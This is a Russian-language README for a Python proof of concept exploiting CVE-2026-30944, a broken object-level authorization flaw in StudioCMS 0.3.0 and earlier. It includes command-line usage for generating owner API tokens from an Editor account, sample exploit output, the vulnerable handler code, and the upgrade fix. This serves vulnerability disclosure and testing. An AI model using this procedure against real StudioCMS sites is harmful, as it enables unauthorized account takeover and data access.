
Python proof-of-concept для CVE-2026-30944, эксплуатирующий уязвимость BOLA в StudioCMS для повышения привилегий через небезопасную генерацию API-токенов.
StudioCMS — повышение привилегий через небезопасную генерацию API-токенов
Конечная точка POST /studiocms_api/dashboard/api-tokens в StudioCMS ≤ 0.3.0 позволяет любому аутентифицированному пользователю (как минимум с ролью Editor) генерировать API-токены для любого другого пользователя, включая учётные записи owner и admin.
Конечная точка принимает параметр user в теле запроса, указывающий UUID целевого пользователя, но никогда не проверяет, авторизован ли запрашивающий пользователь на создание токенов от имени этого целевого пользователя. Это классическая уязвимость Broken Object Level Authorization (BOLA), которая приводит к полному повышению привилегий.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Attacker │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Server │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Full user data as Owner] │
│ │
| Файл | Описание |
|---|---|
cve_2026_30944_poc.py | Python-скрипт эксплуатации с ручным и автоматическим режимами |
README.md | Этот файл |
LICENSE | Лицензия MIT |
Editorpip install requests colorama
# Генерация API-токена для владельца с использованием учётной записи редактора
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Сохранение результатов в JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# Тестирование с несколькими ролями для подтверждения уязвимости
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| Аргумент | Описание |
|---|---|
-u, --url | Базовый URL целевого StudioCMS |
--uuid | UUID целевого пользователя (например, учётная запись владельца) |
| Аргумент | Описание |
|---|---|
--username | Имя пользователя для аутентификации |
--password | Пароль для аутентификации |
| Аргумент | Описание |
|---|---|
--save | Сохранить результаты в JSON-файл |
--no-ssl-verify | Отключить проверку SSL-сертификата |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[+] API token generated successfully!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3: Verification
──────────────────────────────────────────────────────────
[*] Verifying token access on REST API...
[+] VULNERABILITY CONFIRMED — Full API access achieved!
[*] Retrieved 9 user records
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Exploitation failed — token not generated
Уязвимый обработчик в packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (строки 16–57) принимает параметр user из JSON-тела и передаёт его напрямую в функцию генерации токена без проверок авторизации:
// [1] Проверяется только, является ли вызывающий редактором — а НЕ для кого создаётся токен
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' из тела запроса — без проверки на соответствие аутентифицированной сессии
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Передаётся напрямую в генерацию токена — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
Модель авторизации проверяет только «является ли вызывающий как минимум редактором?» вместо «авторизован ли вызывающий на создание токена для этого конкретного пользователя?»
Обновите StudioCMS до версии 0.4.0 или новее:
npm install studiocms@latest
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Filipe Gaudard
Этот PoC выпущен под лицензией MIT в образовательных целях. Используйте ответственно и этично.
| Поле | Значение |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: Authorization Bypass Through User-Controlled Key |
| CWE (дополнительно) | CWE-863: Incorrect Authorization |
| MITRE ATT&CK | T1134 — Access Token Manipulation |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Затронутые версии | studiocms ≤ 0.3.0 |
| Исправлено в | studiocms 0.4.0 |
| Аргумент | Описание |
|---|
--auto-test | Включить автоматическое тестирование с несколькими ролями |
--editor-user | Имя пользователя учётной записи редактора |
--editor-pass | Пароль учётной записи редактора |
--visitor-user | Имя пользователя учётной записи посетителя |
--visitor-pass | Пароль учётной записи посетителя |